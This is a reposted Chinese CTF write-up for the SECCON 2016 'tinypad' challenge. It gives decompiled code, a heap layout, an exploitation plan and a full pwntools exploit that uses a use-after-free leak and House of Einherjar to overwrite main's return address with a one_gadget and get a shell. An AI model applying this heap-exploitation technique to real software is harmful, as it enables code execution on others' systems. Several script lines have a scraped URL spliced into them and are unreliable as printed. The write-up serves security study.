2016|2016 Seccon——tinypad

64位程序#House Of Einherjar#use after free
2016|2016 Seccon——tinypad
文章图片

程序逻辑

1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3__int64 v3; // rdx 4__int64 v4; // rdx 5__int64 v5; // rdx 6__int64 v6; // rdx 7size_t v7; // rax 8signed int v8; // eax 9signed __int64 v9; // rdx 10signed int v10; // eax 11signed __int64 v11; // rdx 12size_t v12; // rax 13__int64 v13; // rdx 14size_t v14; // rax 15__int64 v15; // rdx 16__int64 v16; // rdx 17int c; // [rsp+4h] [rbp-1Ch] 18int i; // [rsp+8h] [rbp-18h] 19int v20; // [rsp+Ch] [rbp-14h] 20int v21; // [rsp+10h] [rbp-10h] 21int v22; // [rsp+14h] [rbp-Ch] 22unsigned __int64 v23; // [rsp+18h] [rbp-8h] 23 24v23 = __readfsqword(0x28u); 25v21 = 0; 26write_n(&unk_4019F0, 1LL, envp); 27write_n( 28"============================================================================\n" 29"// _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|\\\\\n" 30"||_|_|_|_|_|_|_|_|_|_|_|_|_|||\n" 31"||_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|||\n" 32"||_|_|_|_|_|_|_|_|_|_|_|||\n" 33"\\\\_|_|_|_|_|_|_|_|_|_|_|_|_|//\n" 34"============================================================================\n", 35563LL, 36v3); 37write_n(&unk_4019F0, 1LL, v4); 38do 39{ 40for ( i = 0; i <= 3; ++i ) 41{ 42LOBYTE(c) = i + 49; 43writeln("+------------------------------------------------------------------------------+\n", 81LL); 44write_n(" #INDEX: ", 12LL, v5); 45writeln(&c, 1LL); 46write_n(" # CONTENT: ", 12LL, v6); 47if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] ) 48{ 49v7 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]); 50writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v7); 51} 52writeln(&unk_4019F0, 1LL); 53} 54v20 = 0; 55v8 = getcmd(); 56v21 = v8; 57if ( v8 == 68 ) 58{ 59write_n("(INDEX)>>> ", 11LL, v9); 60v20 = read_int(); 61if ( v20 > 0 && v20 <= 4 ) 62{ 63if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] ) 64{ 65free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); 66*(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL; 67writeln("\nDeleted.", 9LL); 68} 69else 70{ 71writeln("Not used", 8LL); 72} 73} 74else 75{ 76writeln("Invalid index", 13LL); 77} 78} 79else if ( v8 > 68 ) 80{ 81if ( v8 != 69 ) 82{ 83if ( v8 == 81 ) 84continue; 85 LABEL_43: 86writeln("No such a command", 17LL); 87continue; 88} 89write_n("(INDEX)>>> ", 11LL, v9); 90v20 = read_int(); 91if ( v20 > 0 && v20 <= 4 ) 92{ 93if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] ) 94{ 95c = 48; 96strcpy(tinypad, *(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); 97while ( toupper(c) != 89 ) 98{ 99write_n("CONTENT: ", 9LL, v16); 100v12 = strlen(tinypad); 101writeln(tinypad, v12); 102write_n("(CONTENT)>>> ", 13LL, v13); 103v14 = strlen(*(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); 104read_until(tinypad, v14, 10LL); 105writeln("Is it OK?", 9LL); 106write_n("(Y/n)>>> ", 9LL, v15); 107read_until(&c, 1LL, 10LL); 108} 109strcpy(*(char **)&tinypad[16 * (v20 - 1 + 16LL) + 8], tinypad); 110writeln("\nEdited.", 8LL); 111} 112else 113{ 114writeln("Not used", 8LL); 115} 116} 117else 118{ 119writeln("Invalid index", 13LL); 120} 121} 122else 123{ 124if ( v8 != 65 ) 125goto LABEL_43; 126while ( v20 <= 3 ) 127{ 128v9 = 16 * (v20 + 16LL); 129if ( !*(_QWORD *)&tinypad[v9] ) 130break; 131++v20; 132} 133if ( v20 == 4 ) 134{ 135writeln("No space is left.", 17LL); 136} 137else 138{ 139v22 = -1; 140write_n("(SIZE)>>> ", 10LL, v9); 141v22 = read_int(); 142if ( v22 <= 0 ) 143{ 144v10 = 1; 145} 146else 147{ 148v10 = v22; 149if ( (unsigned __int64)v22 > 0x100 ) 150v10 = 256; 151} 152v22 = v10; 153*(_QWORD *)&tinypad[16 * (v20 + 16LL)] = v10; 154*(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8] = malloc(v22); 155v11 = 16 * (v20 + 16LL); 156if ( !*(_QWORD *)&tinypad[v11 + 8] ) 157{ 158writerrln("[!] No memory is available.", 27LL); 159exit(-1); 160} 161write_n("(CONTENT)>>> ", 13LL, v11); 162read_until(*(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8], v22, 10LL); 163writeln("\nAdded.", 7LL); 164} 165} 166} 167while ( v21 != 81 ); 168return 0; 169 }

【2016|2016 Seccon——tinypad】add操作后内存分布,最多申请0x100的内存
1 0x602040<-tinypad 2 0x602140size_idx1<-tinypad+256 3 0x602148ptr_idx1 4 0x602150size_idx2 5 0x602158ptr_idx2 6 0x602160size_idx3 7 0x602168ptr_idx3 8 0x602170size_idx4 9 0x602178ptr_idx4

edit操作时先判断相应idx的size是否为0,然后用strlen计算len,并读入len长度的新内容
新内容写入0x602040处,再strcpy到对应的ptr处
每次菜单前会输出每个ptr的内容,由于free后没有置NULL,所以可以用来泄漏地址
利用思路

  1. 利用删除时没有将指针置为 NULL 的 UAF 漏洞,泄漏堆的基地址
  2. 再次利用 UAF 漏洞泄漏 libc 的基地址。
  3. 利用 house of einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。当我们再次申请时,那么就可以控制 4 个 memo 的指针和内容了。
  4. 这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址,但是,由于当编辑时,程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0。所以我们直接覆盖,所以这里采用其他方法,即修改程序的 main 函数的返回地址为 one_gadget,之所以可以行得通,是因为返回地址往往是 7f 开头的,长度足够长,可以覆盖为 one_gadget。所以我们还是需要泄漏 main 函数的返回地址,由于 libc 中存储了 main 函数 environ 指针的地址,所以我们可以先泄露出 environ 的地址,然后在得知存储 main 函数的返回地址的地址。这里选取 environ 符号是因为 environ 符号在 libc 中会导出,而像 argc 和 argv 则不会导出,相对来说会比较麻烦一点。
  5. 最后修改 main 函数的返回地址为 one_gadget 地址获取 shell。
expolit

1 from pwn import * 2 sh=process('tinypad') 3 elf=ELF('tinypad') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 main_arena_offset=0x3c4b20 6 7 def add(size,content): 8sh.recvuntil('(CMD)>>> ') 9sh.sendline('a') 10sh.recvuntil('(SIZE)>>> ') 11sh.sendline(str(size)) 12sh.recvuntil('(CONTENT)>>> ') 13sh.sendline(content) 14 15 def edit(idx,content): 16sh.recvuntil('(CMD)>>> ') 17sh.sendline('e') 18sh.recvuntil('(INDEX)>>> ') 19sh.sendline(str(idx)) 20sh.recvuntil('(CONTENT)>>> ') 21sh.sendline(content) 22sh.recvuntil('Is it OK?\n') 23sh.sendline('Y') 24 25 def delete(idx): 26sh.recvuntil('(CMD)>>> ') 27sh.sendline('d') 28sh.recvuntil('(INDEX)>>> ') 29sh.sendline(str(idx)) 30 31 #leak heap_base 32 add(0x70,'a'*8)#idx1 33 add(0x70,'b'*8)#idx2 34 add(0x100,'c'*8)#idx3 35 delete(2) 36 delete(1)#fastbin 0x70 idx1->idx2->NULLidx1->fd=idx2 37 sh.recvuntil('# CONTENT: ') 38 data=https://www.it610.com/article/sh.recvuntil('\n',drop=True) 39 heap_base=u64(data.ljust(8,'\x00'))-0x80 40 print 'heap_base: '+hex(heap_base) 41 #leak libc_base 42 delete(3)#now idx3 merge into top chunk , idx2 merge with idx1 , idx1->fd=unsorted_bin_adr 43 unsorted_offset_arena=88 44 sh.recvuntil('# CONTENT: ') 45 data=https://www.it610.com/article/sh.recvuntil('\n',drop=True) 46 unsorted_bin_adr=u64(data.ljust(8,'\x00')) 47 main_arena=unsorted_bin_adr-unsorted_offset_arena 48 libc_base=main_arena-main_arena_offset 49 print 'libc_base: '+hex(libc_base) 50 51 #house of einherjar 52 add(0x18,'a'*0x18)#idx1重用idx2的prev_size 可溢出覆盖 53 add(0x100,'b'*0xf8+'\x11')#idx2 54 #after overflow 0x111->0x100 55 #'\x11' is next fake_chunk->size 56 add(0x100,'c'*0xf8)#idx3 57 add(0x100,'d'*0xf8)#idx4 58 59 #tinypad+0x20 -> fake_chunk 60 #*(tinypad+0x100+0x20)=next_chunk->prev_size=size_idx3=0x100 61 tinypad_adr=0x602040 62 fakechunk_adr=tinypad_adr+0x20 63 fakechunk_size=0x101 64 fakechunk=p64(0)+p64(fakechunk_size)+p64(fakechunk_adr)+p64(fakechunk_adr) 65 edit(3,'d'*0x20+fakechunk) 66 67 #overflow idx2->prev_sizeidx2->size->inuse 68 diff=heap_base+0x20-fakechunk_adr 69 diff_strip=p64(diff).strip('\0') 70 number_of_zeros=len(p64(diff))-len(diff_strip) 71 for i in range(number_of_zeros+1): 72data=https://www.it610.com/article/diff_strip.rjust(0x18-i,'f') 73edit(1,data) 74 75 delete(2)#unlink make fake_chunk at tinypad+0x20 (0xf0+0x10) 76 sh.recvuntil('\nDeleted.') 77 #make fake_chunk in unsorted bin 0xf0+0x10 78 #gdb.attach(sh) 79 edit(4,'d'*0x20+p64(0)+p64(0x101)+p64(main_arena+88)+p64(main_arena+88))#pass unsorted bin check 80 81 one_gadget_adr=libc_base+0x45216 82 environ_pointer=libc_base+libc.symbols['__environ'] 83 print 'one_gadget_adr: '+hex(one_gadget_adr) 84 print 'environ_pointer: '+hex(environ_pointer) 85 86 #leak environ_adr -> leak main_ret_adr 87 fake_pad='f'*(0x100-0x20-0x10)+'a'*8+p64(environ_pointer)+'a'*8+p64(0x602148) 88 add(0xf0,fake_pad) #idx2 89 #gdb.attach(sh) 90 #ptr_idx1=environ_pointer ptr_idx2=0x602148=&(ptr_idx1) 91 sh.recvuntil(' # CONTENT: ') 92 environ_adr=sh.recvuntil('\n', drop=True).ljust(8, '\x00') 93 environ_adr=u64(environ_adr) 94 main_ret_adr=environ_adr-30*8 95 edit(2,p64(main_ret_adr)) 96 edit(1,p64(one_gadget_adr)) 97 sh.sendline('Q') 98 sh.interactive()


转载于:https://www.cnblogs.com/pfcode/p/10758275.html

    推荐阅读